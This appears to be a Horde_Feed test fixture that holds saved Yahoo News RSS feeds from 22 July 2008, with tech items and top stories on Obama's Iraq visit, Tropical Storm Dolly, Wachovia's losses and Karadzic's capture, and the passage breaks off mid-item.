http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/infoworld/20080722/tc_infoworld/106940 infoworld/20080722/106940 InfoWorld Tue, 22 Jul 2008 10:00:00 GMT InfoWorld - The SOA concept -- developing a software architecture based on service components that can be mixed and matched as needed to reduce development time and increase application deployment flexibility -- is only a few years old, but the providers of SOA-supporting infrastructure are fast consolidating. Oracle captured the headlines with its acquisition of BEA Systems this spring, and Progress Software recently bought Iona Technologies. IBM Sets up Tivoli Center in India (PC World) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/pcworld/20080722/tc_pcworld/148729 pcworld/20080722/148729 PC World Tue, 22 Jul 2008 08:40:10 GMT PC World - IBM sets up new center in Pune, India focused on service management around its Tivoli software. At E3, video games shift their aim to casual players (USATODAY.com) http://us.rd.yahoo.com/dailynews/rss/tech/*http://news.yahoo.com/s/usatoday/20080722/tc_usatoday/ate3videogamesshifttheiraimtocasualplayers usatoday/20080722/ate3videogamesshifttheiraimtocasualplayers USATODAY.com Tue, 22 Jul 2008 14:02:48 GMT USATODAY.com - This year's downscaled E3 video game expo drew about 4,500 gamemakers, analysts, retailers and journalists to L.A. last week - less than a tenth of E3's size two years ago - even as the industry grew from $10.5 billion in 2005 to $18 billion in 2007. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-rss.news.yahoo.com-rss-topstories0000664000175000017500000011765312653701626027422 0ustar janjan Yahoo! News: Top Stories Copyright (c) 2008 Yahoo! Inc. All rights reserved. http://news.yahoo.com/i/716 Top Stories en-us Tue, 22 Jul 2008 15:44:50 GMT 5 Yahoo! News 142 18 http://news.yahoo.com/i/716 http://us.i1.yimg.com/us.yimg.com/i/us/nws/th/main_142b.gif Obama: Iraq now needs a political solution (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_mi_ea/obama ap/20080722/obama AP Tue, 22 Jul 2008 15:40:46 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_mi_ea/obama"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.f23635e276994d6ebdce6cc7a19bf12f.obama_2008_jorh113.jpg?x=95&y=130&q=85&sig=T08CvB509WMr5rbAsOEPXw--" align="left" height="130" width="95" alt="Democratic presidential candidate Sen. Barack Obama, D-Ill., center, flanked by Sen. Jack Reed, D-R.I., left, and Sen. Chuck Hagel, R-Neb., speaks during a news conference at the citadel in Amman, Jordan, Tuesday, July 22, 2008. (AP Photo/Jae C. Hong)" border="0" /></a>AP - Democratic presidential candidate Barack Obama said Tuesday that security in Iraq has improved and that the United States urgently needs to turn its attention to Afghanistan.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_mi_ea/obama"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.f23635e276994d6ebdce6cc7a19bf12f.obama_2008_jorh113.jpg?x=95&y=130&q=85&sig=T08CvB509WMr5rbAsOEPXw--" align="left" height="130" width="95" alt="photo" title="Democratic presidential candidate Sen. Barack Obama, D-Ill., center, flanked by Sen. Jack Reed, D-R.I., left, and Sen. Chuck Hagel, R-Neb., speaks during a news conference at the citadel in Amman, Jordan, Tuesday, July 22, 2008. (AP Photo/Jae C. Hong)" border="0"/></a></p><br clear="all"/> (AP) Texas, Mexico prepare for Tropical Storm Dolly (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_us/tropical_weather ap/20080722/tropical_weather AP Tue, 22 Jul 2008 15:35:00 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_us/tropical_weather"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.4e87799dc914408ca4b11669afc1bfa4.tropical_weather_ny109.jpg?x=130&y=81&q=85&sig=QEeoUG4SRZ.jl1XO..2kYQ--" align="left" height="81" width="130" alt="This satellite image provided by the NOAA shows Tropical Storm Dolly as it approaches the Coasts of Texas and Mexico at 4:45 a.m. EDT Tuesday July 22, 2008. Forecaster say the storm may reach hurricane strength later this week. (AP Photo/NOAA)" border="0" /></a>AP - Texas mobilized National Guard troops and residents along the Gulf Coast near the Mexican border were buying plywood, flashlights and gasoline as Tropical Storm Dolly gained strength Tuesday over the Gulf on its way to becoming a hurricane before it hits land.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_us/tropical_weather"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.4e87799dc914408ca4b11669afc1bfa4.tropical_weather_ny109.jpg?x=130&y=81&q=85&sig=QEeoUG4SRZ.jl1XO..2kYQ--" align="left" height="81" width="130" alt="photo" title="This satellite image provided by the NOAA shows Tropical Storm Dolly as it approaches the Coasts of Texas and Mexico at 4:45 a.m. EDT Tuesday July 22, 2008. Forecaster say the storm may reach hurricane strength later this week. (AP Photo/NOAA)" border="0"/></a></p><br clear="all"/> (AP) Wachovia loses $8.9B, cuts 6,350 workers, dividend (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_ge/earns_wachovia ap/20080722/earns_wachovia AP Tue, 22 Jul 2008 15:08:35 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_ge/earns_wachovia"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.7432469fb83e463e95efe0f4791e6d35.earns_wachovia_nccb202.jpg?x=130&y=89&q=85&sig=8NXefLIzU43Dy_2Lcu4N0w--" align="left" height="89" width="130" alt="Customers use an ATM outside a Wachovia branch bank in Charlotte, N.C., Friday, July 18, 2008. Wachovia says it lost $8.86 billion in the second quarter, hurt by a big goodwill charge and an increase in reserves for bad loans as mortgage defaults soar. (AP Photo/Chuck Burton)" border="0" /></a>AP - Wachovia Corp. reported a surprisingly large second-quarter loss Tuesday, deflating Wall Street's hopes that the nation's big banks are weathering the credit crisis well. The nation's fourth-largest bank by assets said it lost $8.86 billion, is slashing its dividend and eliminating 10,750 positions after losses tied to mortgages soared.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_ge/earns_wachovia"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.7432469fb83e463e95efe0f4791e6d35.earns_wachovia_nccb202.jpg?x=130&y=89&q=85&sig=8NXefLIzU43Dy_2Lcu4N0w--" align="left" height="89" width="130" alt="photo" title="Customers use an ATM outside a Wachovia branch bank in Charlotte, N.C., Friday, July 18, 2008. Wachovia says it lost $8.86 billion in the second quarter, hurt by a big goodwill charge and an increase in reserves for bad loans as mortgage defaults soar. (AP Photo/Chuck Burton)" border="0"/></a></p><br clear="all"/> (AP) Karadzic hid in plain sight with false identity (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_eu/serbia_karadzic ap/20080722/serbia_karadzic AP Tue, 22 Jul 2008 14:41:29 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_eu/serbia_karadzic"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.0828cf03701c43dfa38dc6af5846868a.serbia_karadzic_ny111.jpg?x=130&y=84&q=85&sig=hrHuAJdq0AiV7QMBkuY.tw--" align="left" height="84" width="130" alt="This two picture combination shows: on the left, Bosnian Serb Leader Radovan Karadzic in an April 1996 file photo during the Bosnian Serb assembly session in Pale, some 16 kilometers (10 miles) east of Sarajevo, and on the right, Karadzic in an undated photo released by Belgrade's 'Healthy Life' magazine Tuesday July 22, 2008, made at an undisclosed location in Belgrade with glasses, long white hair and a beard. (AP Photo)" border="0" /></a>AP - Radovan Karadzic grew a long, white beard to conceal his identity and even managed to openly practice alternative medicine while in hiding, officials said Tuesday in revealing details of the war crimes fugitive's capture after a decade on the run.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_eu/serbia_karadzic"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.0828cf03701c43dfa38dc6af5846868a.serbia_karadzic_ny111.jpg?x=130&y=84&q=85&sig=hrHuAJdq0AiV7QMBkuY.tw--" align="left" height="84" width="130" alt="photo" title="This two picture combination shows: on the left, Bosnian Serb Leader Radovan Karadzic in an April 1996 file photo during the Bosnian Serb assembly session in Pale, some 16 kilometers (10 miles) east of Sarajevo, and on the right, Karadzic in an undated photo released by Belgrade's 'Healthy Life' magazine Tuesday July 22, 2008, made at an undisclosed location in Belgrade with glasses, long white hair and a beard. (AP Photo)" border="0"/></a></p><br clear="all"/> (AP) Palestinian in construction truck rams cars (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_mi_ea/israel_attack ap/20080722/israel_attack AP Tue, 22 Jul 2008 13:27:52 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_mi_ea/israel_attack"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.876f6e394d1c4fd99dc968c9c8cf1448.aptopix_mideast_israel_palestinians_jrl116.jpg?x=130&y=92&q=85&sig=BKl0Z7hQFd8cZzjayN_J1g--" align="left" height="92" width="130" alt="An Israeli security force officer stands guard next to a front-end loader as the Palestinian driver sits dead in his seat at the scene of an attack in Jerusalem, Tuesday, July 22 2008. A Palestinian from East Jerusalem rammed a construction vehicle into three cars and a city bus in downtown Jerusalem on Tuesday, wounding four people before he was shot dead, in a chilling imitation of a similar attack that took place in the city earlier this month. (AP Photo/Kevin Frayer)" border="0" /></a>AP - A Palestinian rammed a construction truck into three cars and a bus near the Jerusalem hotel where Barack Obama is supposed to stay Tuesday, injuring four people before an Israeli civilian shot and killed the attacker, police and witnesses said.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_mi_ea/israel_attack"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.876f6e394d1c4fd99dc968c9c8cf1448.aptopix_mideast_israel_palestinians_jrl116.jpg?x=130&y=92&q=85&sig=BKl0Z7hQFd8cZzjayN_J1g--" align="left" height="92" width="130" alt="photo" title="An Israeli security force officer stands guard next to a front-end loader as the Palestinian driver sits dead in his seat at the scene of an attack in Jerusalem, Tuesday, July 22 2008. A Palestinian from East Jerusalem rammed a construction vehicle into three cars and a city bus in downtown Jerusalem on Tuesday, wounding four people before he was shot dead, in a chilling imitation of a similar attack that took place in the city earlier this month. (AP Photo/Kevin Frayer)" border="0"/></a></p><br clear="all"/> (AP) Stocks mixed as investors weigh Wachovia, oil drop (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_st_ma_re/wall_street ap/20080722/wall_street AP Tue, 22 Jul 2008 15:39:44 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_st_ma_re/wall_street"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080717/capt.67c4d8330eab4bb6a13155186fa37bb4.wall_street_nybm105.jpg?x=130&y=86&q=85&sig=f60JuDsA_zTcfi2biE5d9Q--" align="left" height="86" width="130" alt="Trader Tommy Kalikas talks on his phone as he checks his digital notepad during early trading at the New York Stock Exchange, Thursday July17, 2008.Stocks mostly rose Thursday as investors parsed stronger-than-expected quarterly reports from JPMorgan Chase & Co. and United Technologies Corp. that gave investors some reassurance about the health of the economy. (AP Photos/Bebeto Matthews)" border="0" /></a>AP - Wall Street traded mixed Tuesday after another dive in oil prices blunted the impact of discouraging quarterly results from Wachovia Corp. and other blue chip names.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_st_ma_re/wall_street"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080717/capt.67c4d8330eab4bb6a13155186fa37bb4.wall_street_nybm105.jpg?x=130&y=86&q=85&sig=f60JuDsA_zTcfi2biE5d9Q--" align="left" height="86" width="130" alt="photo" title="Trader Tommy Kalikas talks on his phone as he checks his digital notepad during early trading at the New York Stock Exchange, Thursday July17, 2008.Stocks mostly rose Thursday as investors parsed stronger-than-expected quarterly reports from JPMorgan Chase & Co. and United Technologies Corp. that gave investors some reassurance about the health of the economy. (AP Photos/Bebeto Matthews)" border="0"/></a></p><br clear="all"/> (AP) Judge nixes some evidence in bin Laden driver case (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_la_am_ca/guantanamo_bin_laden_s_driver ap/20080722/guantanamo_bin_laden_s_driver AP Tue, 22 Jul 2008 11:45:10 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_la_am_ca/guantanamo_bin_laden_s_driver"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.876bb34a03124401bca32fe228a23fe1.correction_guantanamo_bin_laden_s_driver_ny116.jpg?x=89&y=130&q=85&sig=Cmwz1gGI9TLPSpTMjhXS9Q--" align="left" height="130" width="89" alt="Salim Ahmed Hamdan is seen in this undated file photo. The first Guantanamo war crimes trial began Monday, July 21, 2008, with a not guilty plea from Salim Hamdan,a former driver and alleged bodyguard for Osama bin Laden. (AP Photo/Photo courtesy of Prof. Neal Katyal/file)" border="0" /></a>AP - The judge in the first American war crimes trial since World War II barred evidence that interrogators obtained from Osama bin Laden's driver, ruling he was subjected to "highly coercive" conditions in Afghanistan.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_re_la_am_ca/guantanamo_bin_laden_s_driver"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.876bb34a03124401bca32fe228a23fe1.correction_guantanamo_bin_laden_s_driver_ny116.jpg?x=89&y=130&q=85&sig=Cmwz1gGI9TLPSpTMjhXS9Q--" align="left" height="130" width="89" alt="photo" title="Salim Ahmed Hamdan is seen in this undated file photo. The first Guantanamo war crimes trial began Monday, July 21, 2008, with a not guilty plea from Salim Hamdan,a former driver and alleged bodyguard for Osama bin Laden. (AP Photo/Photo courtesy of Prof. Neal Katyal/file)" border="0"/></a></p><br clear="all"/> (AP) Treasury: Swift support needed for mortgage giants (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_ge/mortgage_crisis ap/20080722/mortgage_crisis AP Tue, 22 Jul 2008 13:29:07 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_ge/mortgage_crisis"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080720/capt.b6073ceddb2f4e0496332ad6ab7d45a5.paulson_economy_wx110.jpg?x=130&y=86&q=85&sig=1s5xxvABk6Qf48.MZJnDoQ--" align="left" height="86" width="130" alt="In this photo provided by CBS, Treasury Secretary Henry Paulson appears on CBS's 'Face the Nation' in Washington, Sunday, July 20, 2008. (AP Photo/CBS Face the Nation, Karin Cooper)" border="0" /></a>AP - Treasury Secretary Henry Paulson said Congress needs to quickly approve a support package for Fannie Mae and Freddie Mac to make sure the two mortgage giants maintain their critically important role in housing finance.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_bi_ge/mortgage_crisis"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080720/capt.b6073ceddb2f4e0496332ad6ab7d45a5.paulson_economy_wx110.jpg?x=130&y=86&q=85&sig=1s5xxvABk6Qf48.MZJnDoQ--" align="left" height="86" width="130" alt="photo" title="In this photo provided by CBS, Treasury Secretary Henry Paulson appears on CBS's 'Face the Nation' in Washington, Sunday, July 20, 2008. (AP Photo/CBS Face the Nation, Karin Cooper)" border="0"/></a></p><br clear="all"/> (AP) 'Batman' star Christian Bale accused of assaulting mom, sister (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_en_mo/people_christian_bale ap/20080722/people_christian_bale AP Tue, 22 Jul 2008 14:38:29 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_en_mo/people_christian_bale"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.db725e9b42ed4f3cab523a0fa9d5cbbd.britain_dark_knight_ljr108.jpg?x=130&y=91&q=85&sig=GAM.CQiISyJrXpj4q5L4GA--" align="left" height="91" width="130" alt="In this July 21, 2008 file picture, British actor Christian Bale arrives for the European Premiere of 'The Dark Knight', in central London. The actor was to be questioned by police over allegations he assaulted his mother and sister the night before the European premiere of his film, 'The Dark Knight', British media reported Tuesday, July 22, 2008. (AP Photo/Joel Ryan)" border="0" /></a>AP - Batman star Christian Bale was arrested Tuesday over allegations of assaulting his mother and sister, police and British media said.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_en_mo/people_christian_bale"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080722/capt.db725e9b42ed4f3cab523a0fa9d5cbbd.britain_dark_knight_ljr108.jpg?x=130&y=91&q=85&sig=GAM.CQiISyJrXpj4q5L4GA--" align="left" height="91" width="130" alt="photo" title="In this July 21, 2008 file picture, British actor Christian Bale arrives for the European Premiere of 'The Dark Knight', in central London. The actor was to be questioned by police over allegations he assaulted his mother and sister the night before the European premiere of his film, 'The Dark Knight', British media reported Tuesday, July 22, 2008. (AP Photo/Joel Ryan)" border="0"/></a></p><br clear="all"/> (AP) Campillo pitches Braves past Marlins 4-0 (AP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_sp_ba_ga_su/bbn_braves_marlins ap/20080722/bbn_braves_marlins AP Tue, 22 Jul 2008 11:30:45 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_sp_ba_ga_su/bbn_braves_marlins"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080721/capt.ff16af73126241c3bc632828cf61dc79.braves_marlins_baseball_mds101.jpg?x=92&y=130&q=85&sig=og8IFbqQr47Fnn_M4gJQYg--" align="left" height="130" width="92" alt="Atlanta Braves' Jorge Campillo pitches against the Florida Marlins in the first inning of a baseball game in Miami, Monday, July 21, 2008. (AP Photo/Alan Diaz)" border="0" /></a>AP - Rookie Jorge Campillo pitched seven innings and two relievers completed a two-hitter to help the Atlanta Braves beat the Florida Marlins 4-0 Monday night.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/ap/20080722/ap_on_sp_ba_ga_su/bbn_braves_marlins"><img src="http://d.yimg.com/us.yimg.com/p/ap/20080721/capt.ff16af73126241c3bc632828cf61dc79.braves_marlins_baseball_mds101.jpg?x=92&y=130&q=85&sig=og8IFbqQr47Fnn_M4gJQYg--" align="left" height="130" width="92" alt="photo" title="Atlanta Braves' Jorge Campillo pitches against the Florida Marlins in the first inning of a baseball game in Miami, Monday, July 21, 2008. (AP Photo/Alan Diaz)" border="0"/></a></p><br clear="all"/> (AP) Karadzic arrested in Serbia, worked as doctor (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/warcrimes_karadzic_dc nm/20080722/warcrimes_karadzic_dc Reuters Tue, 22 Jul 2008 13:12:08 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/warcrimes_karadzic_dc"><img src="http://d.yimg.com/us.yimg.com/p/rids/20080721/i/r137988734.jpg?x=130&y=97&q=85&sig=m87p.N9Q6xBmaGRNSM3XnQ--" align="left" height="97" width="130" alt="Former Bosnian Serb leader Radovan Karadzic is seen in a 1993 file photo. REUTERS/Petar Kujundzic" border="0" /></a>Reuters - Bosnian Serb wartime president Radovan Karadzic, indicted for genocide in the Bosnia war, was captured in disguise near Belgrade after 11 years on the run and had been working as a doctor, Serbian officials said on Tuesday.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/warcrimes_karadzic_dc"><img src="http://d.yimg.com/us.yimg.com/p/rids/20080721/i/r137988734.jpg?x=130&y=97&q=85&sig=m87p.N9Q6xBmaGRNSM3XnQ--" align="left" height="97" width="130" alt="photo" title="Former Bosnian Serb leader Radovan Karadzic is seen in a 1993 file photo. REUTERS/Petar Kujundzic" border="0"/></a></p><br clear="all"/> (Reuters) Wachovia, other banks post dismal results (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/bs_nm/banks_results_dc nm/20080722/banks_results_dc Reuters Tue, 22 Jul 2008 14:53:18 GMT Reuters - Wachovia Corp led several large U.S. banks in posting weak second-quarter results on Tuesday, as soaring losses from mortgages and other debt led to large write-downs. Bulldozer on Jerusalem rampage before Obama visit (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/palestinians_israel_dc nm/20080722/palestinians_israel_dc Reuters Tue, 22 Jul 2008 14:32:44 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/palestinians_israel_dc"><img src="http://d.yimg.com/us.yimg.com/p/rids/20080722/i/r2282326804.jpg?x=130&y=89&q=85&sig=oaYwsIvtlhAaJ_uFhrMVEg--" align="left" height="89" width="130" alt="Israel's President Shimon Peres attends a ceremony welcoming him to the southern town of Sderot October 31,2007. REUTERS/Amir Cohen" border="0" /></a>Reuters - A Palestinian rammed a bulldozer into vehicles on a busy Jerusalem street on Tuesday, ahead of a visit by U.S. Democratic presidential candidate Barack Obama, and wounded 16 people before being shot dead.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/palestinians_israel_dc"><img src="http://d.yimg.com/us.yimg.com/p/rids/20080722/i/r2282326804.jpg?x=130&y=89&q=85&sig=oaYwsIvtlhAaJ_uFhrMVEg--" align="left" height="89" width="130" alt="photo" title="Israel's President Shimon Peres attends a ceremony welcoming him to the southern town of Sderot October 31,2007. REUTERS/Amir Cohen" border="0"/></a></p><br clear="all"/> (Reuters) U.S. offers farm subsidy cut, is asked for more (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/trade_wto_dc nm/20080722/trade_wto_dc Reuters Tue, 22 Jul 2008 14:43:06 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/trade_wto_dc"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080721/capt.cps.nbc74.210708182706.photo00.photo.default-376x512.jpg?x=95&y=130&q=85&sig=CuaLF_RKkg5yNjyveIfr.g--" align="left" height="130" width="95" alt="World Trade Organisation (WTO) director general Pascal Lamy opens the session at the trade organisation headquarters in Geneva. The United States and European Union took aim at emerging economies at crucial WTO trade talks, warning them to open up their markets if the seven-year Doha Round is to succeed.(AFP/Fabrice Coffrini)" border="0" /></a>Reuters - The United States offered on Tuesday to cut its ceiling on trade-distorting farm subsidies to $15 billion in a bid to close world trade talks this year, but leading developing countries said it was not enough.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/trade_wto_dc"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080721/capt.cps.nbc74.210708182706.photo00.photo.default-376x512.jpg?x=95&y=130&q=85&sig=CuaLF_RKkg5yNjyveIfr.g--" align="left" height="130" width="95" alt="photo" title="World Trade Organisation (WTO) director general Pascal Lamy opens the session at the trade organisation headquarters in Geneva. The United States and European Union took aim at emerging economies at crucial WTO trade talks, warning them to open up their markets if the seven-year Doha Round is to succeed.(AFP/Fabrice Coffrini)" border="0"/></a></p><br clear="all"/> (Reuters) Storm Dolly to become hurricane, heads for Texas (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/ts_nm/storm_dolly_dc nm/20080722/storm_dolly_dc Reuters Tue, 22 Jul 2008 15:14:14 GMT Reuters - Tropical Storm Dolly intensified over the warm waters of the western Gulf of Mexico as it bore down on southern Texas on Tuesday, but forecasters don't expect it to reach catastrophic strength before hitting land near the Mexican border on Wednesday. Obama visits Iraq's Anbar, former insurgent haven (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/iraq_dc nm/20080722/iraq_dc Reuters Tue, 22 Jul 2008 12:51:29 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/iraq_dc"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbi93.220708174624.photo03.photo.default-512x341.jpg?x=130&y=86&q=85&sig=bBa_FpkH9YND8xzDD0Aoow--" align="left" height="86" width="130" alt="In this handout photograph provided by the Anbar Province Governorate, US Democratic presidential candidate Barack Obama listens to Anbar Province Governor Maamoun Sami Rashid al-Alwani during their meeting in Ramadi, 100 west of Baghdad. Obama said after a high-profile tour to Iraq that he wanted US troops out in 2010 but stressed that the country also need a political solution to the conflict.(AFP/Anbar Province Governate-HO)" border="0" /></a>Reuters - U.S. Democratic presidential candidate Barack Obama traveled to Anbar province on Tuesday to meet Sunni Arab tribal leaders whose decision to fight al Qaeda helped change the course of the conflict in Iraq.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/iraq_dc"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbi93.220708174624.photo03.photo.default-512x341.jpg?x=130&y=86&q=85&sig=bBa_FpkH9YND8xzDD0Aoow--" align="left" height="86" width="130" alt="photo" title="In this handout photograph provided by the Anbar Province Governorate, US Democratic presidential candidate Barack Obama listens to Anbar Province Governor Maamoun Sami Rashid al-Alwani during their meeting in Ramadi, 100 west of Baghdad. Obama said after a high-profile tour to Iraq that he wanted US troops out in 2010 but stressed that the country also need a political solution to the conflict.(AFP/Anbar Province Governate-HO)" border="0"/></a></p><br clear="all"/> (Reuters) Rice in Singapore for N.Korea talks (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/asean_korea_north_dc nm/20080722/asean_korea_north_dc Reuters Tue, 22 Jul 2008 15:18:10 GMT Reuters - U.S. Secretary of State Condoleezza Rice arrived in Singapore on Tuesday for six-party talks over North Korea's weapons program that China said would push forward the process of denuclearization. Alternative energy a popular stop in U.S. campaign (Reuters) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/nm/20080722/pl_nm/usa_politics_energy_dc nm/20080722/usa_politics_energy_dc Reuters Tue, 22 Jul 2008 10:21:03 GMT Reuters - A small green clearing on a hilltop beside the Ohio River doesn't seem like much of campaign stop, but John Baardson knows the scent of alternative energy and undecided voters will lure America's presidential contenders before long. Serbia captures fugitive wartime leader Karadzic (AFP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/afp/20080722/ts_afp/warcrimesictyserbiabosnia afp/20080722/warcrimesictyserbiabosnia AFP Tue, 22 Jul 2008 15:08:16 GMT <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/afp/20080722/ts_afp/warcrimesictyserbiabosnia"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbi68.220708170723.photo05.photo.default-428x512.jpg?x=108&y=130&q=85&sig=fbhAgWDXN9Q0SFwkc8x_cA--" align="left" height="130" width="108" alt="This recent handout photo released on July 22 in Belgrade shows top war crimes suspect Radovan Karadzic, one of the world's most wanted men. Karadzic has been arrested on genocide charges while practising medicine under a fake name in Belgrade, officials said.(AFP/HO)" border="0" /></a>AFP - Captured war crimes suspect Radovan Karadzic, one of the world's most wanted men, was arrested on genocide charges while practising medicine under a fake name in Belgrade, officials said Tuesday.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/afp/20080722/ts_afp/warcrimesictyserbiabosnia"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbi68.220708170723.photo05.photo.default-428x512.jpg?x=108&y=130&q=85&sig=fbhAgWDXN9Q0SFwkc8x_cA--" align="left" height="130" width="108" alt="photo" title="This recent handout photo released on July 22 in Belgrade shows top war crimes suspect Radovan Karadzic, one of the world's most wanted men. Karadzic has been arrested on genocide charges while practising medicine under a fake name in Belgrade, officials said.(AFP/HO)" border="0"/></a></p><br clear="all"/> (AFP) Zimbabwe rivals set to begin negotiations (AFP) http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/afp/20080722/ts_afp/zimbabwepolitics afp/20080722/zimbabwepolitics AFP Tue, 22 Jul 2008 12:21:44 GMT <p><a 